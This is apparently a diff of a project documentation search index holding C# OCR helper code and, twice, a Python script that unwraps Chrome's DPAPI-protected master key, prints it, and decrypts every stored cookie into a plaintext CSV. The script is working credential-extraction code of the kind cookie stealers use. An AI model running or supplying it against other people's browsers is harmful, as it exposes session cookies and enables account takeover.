]. ToString ()); } catch { result = 0 ; } break ; } page . Dispose (); return result ; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static string GetStringFromPng ( Bitmap image , TesseractEngine Engine , string allowedChars = \"\" , OcrImage . WindowType windowType = OcrImage . WindowType . Text ) { string result = \"\" ; //Debug int salt = rnd . Next ( 0 , 999999 ); Engine . SetVariable ( \"tessedit_char_whitelist\" , allowedChars ); Bitmap rawData = image ; Bitmap enhancedImage = new OcrImage ( rawData ). Enhance ( windowType ); Page page = Engine . Process ( enhancedImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { result += iter . GetText ( PageIteratorLevel . Word ); } while ( iter . Next ( PageIteratorLevel . Word )); } page . Dispose (); return result ; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne ( Bitmap inputBitmap , Rectangle newBitmapDimensions ) { Bitmap sample = new Bitmap ( newBitmapDimensions . Width , newBitmapDimensions . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), newBitmapDimensions , GraphicsUnit . Pixel ); return sample ; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch ( List < string > options , string testString ) { var closestMatch = \"\" ; var closestDistance = int . MaxValue ; foreach ( var item in options ) { var distance = LevenshteinDistance ( item , testString ); if ( distance < closestDistance ) { closestMatch = item ; closestDistance = distance ; } } return closestMatch ; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance ( string string1 , string string2 ) { if ( string . IsNullOrEmpty ( string1 )) { return string . IsNullOrEmpty ( string2 ) ? 0 : string2 . Length ; } if ( string . IsNullOrEmpty ( string2 )) { return string . IsNullOrEmpty ( string1 ) ? 0 : string1 . Length ; } var d = new int [ string1 . Length + 1 , string2 . Length + 1 ]; for ( var i = 0 ; i <= string1 . Length ; i ++) { d [ i , 0 ] = i ; } for ( var j = 0 ; j <= string2 . Length ; j ++) { d [ 0 , j ] = j ; } for ( var i = 1 ; i <= string1 . Length ; i ++) { for ( var j = 1 ; j <= string2 . Length ; j ++) { var cost = ( string1 [ i - 1 ] == string2 [ j - 1 ]) ? 0 : 1 ; d [ i , j ] = Math . Min ( Math . Min ( d [ i - 1 , j ] + 1 , d [ i , j - 1 ] + 1 ), d [ i - 1 , j - 1 ] + cost ); } } return d [ string1 . Length , string2 . Length ]; } } }","title":"Window.cs"},{"location":"Code/recoverCookiesCSV.html","text":"recoverCookiesCSV.py # Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" )","title":"recoverCookiesCSV.py"},{"location":"Code/recoverCookiesCSV.html#recovercookiescsvpy","text":"# Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" )","title":"recoverCookiesCSV.py"}]} \ No newline at end of file diff --git a/site/sitemap.xml.gz b/site/sitemap.xml.gz index 8f99609..f501d04 100644 Binary files a/site/sitemap.xml.gz and b/site/sitemap.xml.gz differ